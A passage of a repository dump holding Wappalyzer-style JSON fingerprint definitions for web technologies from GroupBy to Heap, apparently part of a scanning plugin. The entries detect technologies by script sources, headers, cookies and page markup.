\"GroupBy\": {\n    \"cats\": [\n      29\n    ],\n    \"description\": \"GroupBy is a search enging for eCommerce sites.\",\n    \"icon\": \"Groupby.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.groupbycloud\\\\.com\"\n    ],\n    \"website\": \"https://groupbyinc.com/\"\n  },\n  \"Growave\": {\n    \"cats\": [\n      32,\n      69\n    ],\n    \"description\": \"Growave is the all-in-one app: social login and sharing, reviews, wishlists, instagram feed, automated emails and more.\",\n    \"icon\": \"Growave.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.socialshopwave\\\\.com/\"\n    ],\n    \"website\": \"https://growave.io\"\n  },\n  \"Growform\": {\n    \"cats\": [\n      110\n    ],\n    \"description\": \"Growform is a multi-step form builder that includes email alerts, Zapier integrations, and built-in templates.\",\n    \"icon\": \"Growform.svg\",\n    \"js\": {\n      \"embedGrowform\": \"\",\n      \"growform.setHiddenField\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.growform.co\"\n  },\n  \"GrowingIO\": {\n    \"cats\": [\n      10\n    ],\n    \"cookies\": {\n      \"gr_user_id\": \"\",\n      \"grwng_uid\": \"\"\n    },\n    \"icon\": \"GrowingIO.svg\",\n    \"scriptSrc\": [\n      \"assets\\\\.growingio\\\\.com/([\\\\d.]+)/gio\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.growingio.com/\"\n  },\n  \"GrowthBook\": {\n    \"cats\": [\n      74\n    ],\n    \"description\": \"GrowthBook is a platform for product teams to run and track experiments, analyze results, and make data-driven decisions to optimize their products for growth.\",\n    \"dom\": [\n      \"link[href*='cdn.growthbook.io']\"\n    ],\n    \"icon\": \"GrowthBook.svg\",\n    \"js\": {\n      \"_growthbook.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"_siteSetting.growthBookApiHost\": \"\",\n      \"growthbook\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.growthbook.io\"\n  },\n  \"Gruvi\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Gruvi is a movie marketing network that provides promotional tools and services to the film industry, facilitating audience engagement and increasing visibility for films through targeted campaigns and digital strategies.\",\n    \"dom\": [\n      \"link[href*='.gruvi.tv/movies/']\"\n    ],\n    \"icon\": \"Gruvi.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.gruvi.tv\"\n  },\n  \"Guestonline\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Guestonline is a restaurant table booking widget.\",\n    \"dom\": [\n      \"iframe[src*='ib.guestonline.']\"\n    ],\n    \"icon\": \"Guestonline.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"ib\\\\.guestonline\\\\.\\\\w+\"\n    ],\n    \"website\": \"https://www.guestonline.io\"\n  },\n  \"Guidap\": {\n    \"cats\": [\n      104\n    ],\n    \"description\": \"Guidap is a platform enabling online activity sales, streamlining booking, scheduling, and payment collection processes across all devices, without commissions.\",\n    \"dom\": [\n      \"link[href*='//cart.guidap.net/']\"\n    ],\n    \"icon\": \"Guidap.svg\",\n    \"js\": {\n      \"GUIDAP\": \"\",\n      \"GUIDAPInitConfig\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://guidap.com\"\n  },\n  \"GuideIT\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"GuideIT is a cloud hosting provider.\",\n    \"headers\": {\n      \"platform\": \"^GuideIT$\"\n    },\n    \"icon\": \"GuideIT.png\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://guideit.uk\"\n  },\n  \"GumGum\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"GumGum is a technology and media company specializing in contextual intelligence.\",\n    \"dom\": [\n      \"iframe[src*='gumgum.com'], img[src*='gumgum.com']\"\n    ],\n    \"icon\": \"GumGum.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://gumgum.com\",\n    \"xhr\": [\n      \"\\\\.gumgum\\\\.com\"\n    ]\n  },\n  \"Gumlet\": {\n    \"cats\": [\n      92\n    ],\n    \"description\": \"Gumlet is a solution to optimize images.\",\n    \"icon\": \"Gumlet.png\",\n    \"js\": {\n      \"gumlet\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.gumlet\\\\.com\"\n    ],\n    \"website\": \"https://www.gumlet.com/\"\n  },\n  \"Gumroad\": {\n    \"cats\": [\n      6\n    ],\n    \"cookies\": {\n      \"_gumroad_app_session\": \"\",\n      \"_gumroad_guid\": \"\"\n    },\n    \"description\": \"Gumroad is a self-publishing digital marketplace platform to sell digital services such as books, memberships, courses and other digital services.\",\n    \"dns\": {\n      \"CNAME\": \"\\\\.gumroad\\\\.com\"\n    },\n    \"dom\": [\n      \"iframe[src^='https://gumroad.com/l/']\"\n    ],\n    \"icon\": \"Gumroad.svg\",\n    \"js\": {\n      \"GumroadOverlay\": \"\",\n      \"createGumroadOverlay\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"gumroad\\\\.com/js/gumroad\\\\.js\",\n      \"gumroad\\\\.com/js/gumroad-embed\\\\.js\",\n      \"gumroad\\\\.com/packs/js/\"\n    ],\n    \"website\": \"https://gumroad.com\"\n  },\n  \"Gumstack\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Gumstack provides a live video shopping solution for eCommerce.\",\n    \"icon\": \"Gumstack.svg\",\n    \"js\": {\n      \"Gumstack\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"w\\\\.gumstack\\\\.com\"\n    ],\n    \"website\": \"https://gumstack.com/\"\n  },\n  \"Gutenberg\": {\n    \"cats\": [\n      87,\n      20\n    ],\n    \"description\": \"Gutenberg is the code name for the new block based editor introduced in WordPress 5.\",\n    \"dom\": {\n      \"link[href*='/wp-content/plugins/gutenberg/']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/gutenberg/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Gutenberg.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/gutenberg/\"\n    ],\n    \"website\": \"https://github.com/WordPress/gutenberg\"\n  },\n  \"Guuru\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Guuru is a platform that connects shoppers with customers who share their enthusiasm for specific products or services.\",\n    \"icon\": \"Guuru.svg\",\n    \"js\": {\n      \"Guuru\": \"\",\n      \"guuru.init\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.guuru.com\"\n  },\n  \"genezio\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Genezio is a code generation tool that facilitates app logic focus, organises backend API code in deployable classes, autogenerates class interfaces with JSON-RPC for typesafe API calls, supports REST and Webhooks, enables simple API code deployment on pre-configured infrastructure using a shell command, and provides an SDK that eliminates the need to handle URLs, headers.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^genezio$\"\n    },\n    \"icon\": \"genezio.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://genez.io\"\n  },\n  \"git\": {\n    \"cats\": [\n      47\n    ],\n    \"cpe\": \"cpe:2.3:a:git-scm:git:*:*:*:*:*:*:*:*\",\n    \"icon\": \"git.svg\",\n    \"meta\": {\n      \"generator\": \"\\\\bgit/([\\\\d.]+\\\\d)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://git-scm.com\"\n  },\n  \"gitlist\": {\n    \"cats\": [\n      47\n    ],\n    \"cpe\": \"cpe:2.3:a:gitlist:gitlist:*:*:*:*:*:*:*:*\",\n    \"html\": [\n      \"<p>Powered by <a[^>]+>GitList ([\\\\d.]+)\\\\;version:\\\\1\"\n    ],\n    \"implies\": [\n      \"PHP\",\n      \"git\"\n    ],\n    \"website\": \"https://gitlist.org\"\n  },\n  \"gitweb\": {\n    \"cats\": [\n      47\n    ],\n    \"html\": [\n      \"<!-- git web interface version ([\\\\d.]+)?\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"git.svg\",\n    \"implies\": [\n      \"Perl\",\n      \"git\"\n    ],\n    \"meta\": {\n      \"generator\": \"gitweb(?:/([\\\\d.]+\\\\d))?\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"static/gitweb\\\\.js$\"\n    ],\n    \"website\": \"https://git-scm.com\"\n  },\n  \"govCMS\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"govCMS.svg\",\n    \"implies\": [\n      \"Drupal\"\n    ],\n    \"meta\": {\n      \"generator\": \"Drupal ([\\\\d]+) \\\\(http:\\\\/\\\\/drupal\\\\.org\\\\) \\\\+ govCMS\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.govcms.gov.au\"\n  },\n  \"gunicorn\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:gunicorn:gunicorn:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"gunicorn(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"gunicorn.png\",\n    \"implies\": [\n      \"Python\"\n    ],\n    \"website\": \"https://gunicorn.org\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/h.json",
    "content": "{\n  \"H2O\": {\n    \"cats\": [\n      22\n    ],\n    \"cookies\": {\n      \"h2o_casper\": \"\"\n    },\n    \"description\": \"H2O is a fast and secure HTTP/2 server written in C by Kazuho Oku.\",\n    \"headers\": {\n      \"Server\": \"^h2o(?:/)?([\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"C\",\n      \"HTTP/2\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/h2o/h2o\"\n  },\n  \"HCL Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"HCL Commerce is a software platform framework for ecommerce, including marketing, sales, customer and order processing functionality.\",\n    \"dom\": [\n      \"link[href*='/wcsstore/'], link[href*='webapp/wcs/'], a[href*='/wcsstore/'], a[href*='webapp/wcs/'], script[src*='/wcsstore/'], script[src*='webapp/wcs/']\"\n    ],\n    \"icon\": \"HCL Commerce.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"/webapp/wcs/\"\n    ],\n    \"url\": [\n      \"/wcs/\"\n    ],\n    \"website\": \"https://www.hcltechsw.com/commerce\"\n  },\n  \"HCL Digital Experience\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:ibm:websphere_portal:*:*:*:*:*:*:*:*\",\n    \"description\": \"HCL Digital Experience software empowers you to create, manage and deliver engaging omni-channel digital experiences to virtually all audiences.\",\n    \"headers\": {\n      \"IBM-Web2-Location\": \"\",\n      \"Itx-Generated-Timestamp\": \"\"\n    },\n    \"icon\": \"hcl-dx.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"js\": {\n      \"ibmCfg.themeConfig.modulesWebAppBaseURI\": \"/wps/themeModules\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"poa\"\n    ],\n    \"url\": [\n      \"/wps/wcm/\"\n    ],\n    \"website\": \"https://www.hcltechsw.com/dx\"\n  },\n  \"HCL Domino\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:ibm:lotus_domino:*:*:*:*:*:*:*:*\",\n    \"description\": \"HCL Domino, formerly called IBM Domino (1995) and Lotus Domino (1989), is an enterprise server application development platform.\",\n    \"headers\": {\n      \"Server\": \"^Lotus-Domino$\"\n    },\n    \"icon\": \"HCL Domino.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.hcltechsw.com/domino\"\n  },\n  \"HHVM\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:facebook:hhvm:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"X-Powered-By\": \"HHVM/?([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"HHVM.png\",\n    \"implies\": [\n      \"PHP\\\\;confidence:75\"\n    ],\n    \"website\": \"https://hhvm.com\"\n  },\n  \"HP Compact Server\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"HP_Compact_Server(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"HP.svg\",\n    \"website\": \"https://hp.com\"\n  },\n  \"HP iLO\": {\n    \"cats\": [\n      22,\n      46\n    ],\n    \"cpe\": \"cpe:2.3:h:hp:integrated_lights-out:*:*:*:*:*:*:*:*\",\n    \"description\": \"HP iLO is a tool that provides multiple ways to configure, update, monitor, and run servers remotely.\",\n    \"headers\": {\n      \"Server\": \"HP-iLO-Server(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"HP.svg\",\n    \"website\": \"https://hp.com\"\n  },\n  \"HSTS\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"HTTP Strict Transport Security (HSTS) informs browsers that the site should only be accessed using HTTPS.\",\n    \"headers\": {\n      \"Strict-Transport-Security\": \"\"\n    },\n    \"url\": [\n      \"^https://[\\\\w\\\\d\\\\.\\\\-]+(?:\\\\.dev)(?:/.+||/)$\"\n    ],\n    \"website\": \"https://www.rfc-editor.org/rfc/rfc6797#section-6.1\"\n  },\n  \"HT Mega\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Elementor addons package for Elementor.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/ht-mega-for-elementor/']\"\n    ],\n    \"icon\": \"HT Mega.png\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"ht-mega-for-elementor(?:\\\\/admin)?\\\\/assets\\\\/js(?:\\\\/admin)?(?:\\\\/(?:htb)?bootstrap)?(?:\\\\/jquery)?(?:\\\\/popper)?(?:\\\\/slick)?(?:\\\\/waypoints)?(?:\\\\.counterup)?(?:\\\\/htmega-widgets-active)?(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/ht-mega-for-elementor/\"\n  },\n  \"HTML5 Media\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"HTML5 Media enables video and audio tags in all major browsers.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?html5media(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://html5media.info/\"\n  },\n  \"HTTP/2\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"HTTP/2 (originally named HTTP/2.0) is a major revision of the HTTP network protocol used by the World Wide Web.\",\n    \"excludes\": [\n      \"SPDY\"\n    ],\n    \"headers\": {\n      \"Alt-Svc\": \"h2\",\n      \"X-Firefox-Spdy\": \"h2\"\n    },\n    \"icon\": \"HTTP2.svg\",\n    \"website\": \"https://http2.github.io\"\n  },\n  \"HTTP/3\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"HTTP/3 is the third major version of the Hypertext Transfer Protocol used to exchange information on the World Wide Web.\",\n    \"excludes\": [\n      \"HTTP/2\"\n    ],\n    \"headers\": {\n      \"Alt-Svc\": \"h3\",\n      \"X-Firefox-Http3\": \"h3\"\n    },\n    \"icon\": \"HTTP3.svg\",\n    \"website\": \"https://httpwg.org/\"\n  },\n  \"Haddock\": {\n    \"cats\": [\n      4\n    ],\n    \"description\": \"Haddock is a tool for automatically generating documentation from annotated Haskell source code.\",\n    \"html\": [\n      \"<p>Produced by <a href=\\\"http://www\\\\.haskell\\\\.org/haddock/\\\">Haddock</a> version ([0-9.]+)</p>\\\\;version:\\\\1\"\n    ],\n    \"scriptSrc\": [\n      \"haddock-util\\\\.js\"\n    ],\n    \"website\": \"https://www.haskell.org/haddock/\"\n  },\n  \"Halo\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"description\": \"Halo is a powerful, user-friendly open-source website building tool that supports dynamic themes, real-time editing, and multilingual setups.\",\n    \"icon\": \"Halo.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"meta\": {\n      \"generator\": \"Halo ([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://halo.run\"\n  },\n  \"Haloscan\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Haloscan is a tool that enables blogs to incorporate trackbacks and comments, allowing users to engage with blog content through discussions and feedback.\",\n    \"icon\": \"Haloscan.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.haloscan\\\\.com/\"\n    ],\n    \"website\": \"https://www.haloscan.com\"\n  },\n  \"Hamechio\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Hamechio is a web application framework.\",\n    \"icon\": \"Hamechio.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"meta\": {\n      \"generator\": \"hamech\\\\.io/\"\n    },\n    \"oss\": true,\n    \"website\": \"https://hamech.io\"\n  },\n  \"Hammer.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Hammer.js is a JavaScript library for adding touch gestures like swipe, pinch, and rotate to web applications.\",\n    \"icon\": \"Hammer.js.svg\",\n    \"js\": {\n      \"Ha.VERSION\": \"^(.+)$\\\\;version:\\\\1\",\n      \"Hammer\": \"\",\n      \"Hammer.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"hammer(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://hammerjs.github.io\"\n  },\n  \"Handlebars\": {\n    \"cats\": [\n      12\n    ],\n    \"cpe\": \"cpe:2.3:a:handlebars.js_project:handlebars.js:*:*:*:*:*:*:*:*\",\n    \"description\": \"Handlebars is a JavaScript library used to create reusable webpage templates.\",\n    \"dom\": [\n      \"script[type='text/x-handlebars-template']\"\n    ],\n    \"icon\": \"Handlebars.svg\",\n    \"js\": {\n      \"Handlebars\": \"\",\n      \"Handlebars.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"handlebars(?:\\\\.runtime)?(?:-v([\\\\d.]+?))?(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://handlebarsjs.com\"\n  },\n  \"Handsontable\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Handsontable is a JavaScript component that combines data grid features with spreadsheet-like UX.\",\n    \"icon\": \"Handsontable.svg\",\n    \"js\": {\n      \"Handsontable\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?(?:jquery\\\\.)?handsontable(?:\\\\.full)?(?:\\\\.min)?(?:\\\\.[\\\\w]+)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://handsontable.com\"\n  },\n  \"Handtalk\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"Handtalk is an accessiblity plug-in which uses sign language to make sites accessible.\",\n    \"icon\": \"Handtalk.svg\",\n    \"js\": {\n      \"HandTalk\": \"\"\n    },\n    \"scriptSrc\": [\n      \"api\\\\.handtalk\\\\.me\"\n    ],\n    \"website\": \"https://www.handtalk.me/\"\n  },\n  \"Hanko\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Hanko is a passwordless authentication solution offering secure login integration.\",\n    \"icon\": \"Hanko.svg\",\n    \"js\": {\n      \"_hankoStyle\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.hanko.io\"\n  },\n  \"Hansel\": {\n    \"cats\": [\n      58\n    ],\n    \"description\": \"Hansel is a B2B enterprise software that deploys real-time Nudges to drive feature adoption and address user drop-offs, at scale.\",\n    \"icon\": \"Hansel.png\",\n    \"js\": {\n      \"Hansel\": \"\",\n      \"HanselPX\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.hansel\\\\.io/web/([\\\\d\\\\.]+)/\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://hansel.io\"\n  },\n  \"Happy Meal Prep\": {\n    \"cats\": [\n      6,\n      93\n    ],\n    \"description\": \"Happy Meal Prep is a food order management system tailored for the food industry.\",\n    \"dom\": [\n      \"div.footer-block > a[href*='happymealprep.com']\"\n    ],\n    \"icon\": \"HappyMealPrep.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://happymealprep.com\"\n  },\n  \"Happy Returns\": {\n    \"cats\": [\n      102\n    ],\n    \"description\": \"Happy Returns is a return software and reverse logistics company, provides a packaging-free, in-person way for customers to return an online purchase for an immediate refund.\",\n    \"dom\": [\n      \"a[href*='.happyreturns.com'], img[src*='.happyreturns.com/']\"\n    ],\n    \"icon\": \"Happy Returns.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://happyreturns.com\"\n  },\n  \"HappyFox Helpdesk\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"HappyFox is a help desk ticketing system that is hosted on cloud, supporting multiple customer support channels like email, voice and live chat.\",\n    \"icon\": \"HappyFox.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.happyfox\\\\.com/media/\"\n    ],\n    \"website\": \"https://www.happyfox.com/customer-service-software/\"\n  },\n  \"HappyFox Live Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"HappyFox is a help desk ticketing system that is hosted on cloud, supporting multiple customer support channels like email, voice and live chat.\",\n    \"icon\": \"HappyFox.svg\",\n    \"js\": {\n      \"HappyFoxChatObject\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.happyfoxchat\\\\.com/\"\n    ],\n    \"website\": \"https://www.happyfox.com/live-chat\"\n  },\n  \"Haptik\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Haptik is an Indian enterprise conversational AI platform founded in August 2013, and acquired by Reliance Industries Limited in 2019.\",\n    \"icon\": \"Haptik.svg\",\n    \"js\": {\n      \"HaptikSDK\": \"\",\n      \"haptik\": \"\",\n      \"haptikInitSettings\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.haptikapi\\\\.com/\"\n    ],\n    \"website\": \"https://www.haptik.ai\"\n  },\n  \"Haravan\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Haravan is a multi-channel ecommerce services provider from Vietnam.\",\n    \"excludes\": [\n      \"PrestaShop\",\n      \"Shopify\"\n    ],\n    \"icon\": \"Haravan.svg\",\n    \"js\": {\n      \"Haravan.shop\": \"\",\n      \"HaravanAnalytics.meta\": \"\",\n      \"hrvBeacon.host\": \"stats\\\\.hstatic\\\\.net\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"haravan.*\\\\.js\"\n    ],\n    \"website\": \"https://www.haravan.com\"\n  },\n  \"Harbor\": {\n    \"cats\": [\n      60\n    ],\n    \"description\": \"Harbor is an open-source registry that secures artifacts with policies and role-based access control, ensures images are scanned and free from vulnerabilities, and signs images as trusted.\",\n    \"dom\": [\n      \"harbor-app\"\n    ],\n    \"icon\": \"Harbor.svg\",\n    \"implies\": [\n      \"Go\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://goharbor.io\"\n  },\n  \"HashThemes Total\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"HashThemes Total is the powerful and creative multipurpose WordPress theme.\",\n    \"icon\": \"HashThemes.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\",\n      \"low\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/(?:t|T)otal(?:-plus)?/\"\n    ],\n    \"website\": \"https://hashthemes.com/wordpress-theme/total\"\n  },\n  \"Hashnode\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"Hashnode is a free developer blogging platform that allows you to publish articles on your own domain and helps you stay connected with a global developer community.\",\n    \"dom\": [\n      \"div.css-zigog8\"\n    ],\n    \"icon\": \"hashnode.svg\",\n    \"scriptSrc\": [\n      \"hashnode\\\\.com\"\n    ],\n    \"url\": [\n      \"^https?://[^/]+\\\\.(?:hashnode)\\\\.dev\"\n    ],\n    \"website\": \"https://hashnode.com/\"\n  },\n  \"Hashtag Labs\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Hashtag Labs is a full-service digital ad operations company.\",\n    \"dom\": [\n      \"link[href*='//htlbid.com']\"\n    ],\n    \"icon\": \"Hashtag Labs.svg\",\n    \"js\": {\n      \"htlbid.cmd\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"website\": \"https://hashtag-labs.com\"\n  },\n  \"Haskell\": {\n    \"cats\": [\n      27\n    ],\n    \"icon\": \"Haskell.png\",\n    \"website\": \"https://wiki.haskell.org/Haskell\"\n  },\n  \"Hasura\": {\n    \"cats\": [\n      19\n    ],\n    \"cpe\": \"cpe:2.3:a:hasura:graphql_engine:*:*:*:*:*:*:*:*\",\n    \"description\": \"Hasura is an open-source engine that enables developers to effortlessly create real-time GraphQL APIs by auto-generating them from existing database schemas.\",\n    \"icon\": \"Hasura.svg\",\n    \"implies\": [\n      \"GraphQL\"\n    ],\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.hasura\\\\.io/\"\n    ],\n    \"website\": \"https://hasura.io\"\n  },\n  \"Hatena Blog\": {\n    \"cats\": [\n      1,\n      11\n    ],\n    \"description\": \"Hatena Blog is one of the traditional blog platforms in Japan.\",\n    \"icon\": \"Hatena.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"cdn\\\\.blog\\\\.st-hatena\\\\.com/\"\n    ],\n    \"website\": \"https://hatenablog.com\"\n  },\n  \"HeadJS\": {\n    \"cats\": [\n      59,\n      92\n    ],\n    \"description\": \"HeadJS is a JavaScript library that optimizes web performance by managing the loading and execution of scripts and stylesheets to ensure faster page loads and efficient resource handling.\",\n    \"html\": [\n      \"<[^>]*data-headjs-load\"\n    ],\n    \"icon\": \"HeadJS.png\",\n    \"js\": {\n      \"head.browser.name\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"head\\\\.(?:core|load)(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://headjs.github.io\"\n  },\n  \"Header Bidding Ai\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Header Bidding Ai is a provider of an automated and managed header bidding solution. Header bidding cutting-edge technique where publishers offer their ad inventory to many ad exchanges.\",\n    \"icon\": \"Header Bidding Ai.svg\",\n    \"pricing\": [\n      \"poa\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.headerbidding\\\\.ai/\"\n    ],\n    \"website\": \"https://headerbidding.ai\"\n  },\n  \"Headless UI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Headless UI is an unstyled component library for either React.js or Vue.js from the same people that created Tailwind CSS.\",\n    \"dom\": {\n      \"button\": {\n        \"attributes\": {\n          \"id\": \"headlessui-\"\n        }\n      },\n      \"div\": {\n        \"attributes\": {\n          \"id\": \"headlessui-\"\n        }\n      }\n    },\n    \"icon\": \"Headless UI.svg\",\n    \"oss\": true,\n    \"website\": \"https://headlessui.dev\"\n  },\n  \"Headroom.js\": {\n    \"cats\": [\n      5,\n      59\n    ],\n    \"description\": \"Headroom.js is a JS widget that allows you to react to the user's scroll. The header slides out of view when scrolling down and slides back in when scrolling up.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"headroom(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wicky.nillia.ms/headroom.js/\"\n  },\n  \"Heap\": {\n    \"cats\": [\n      10\n    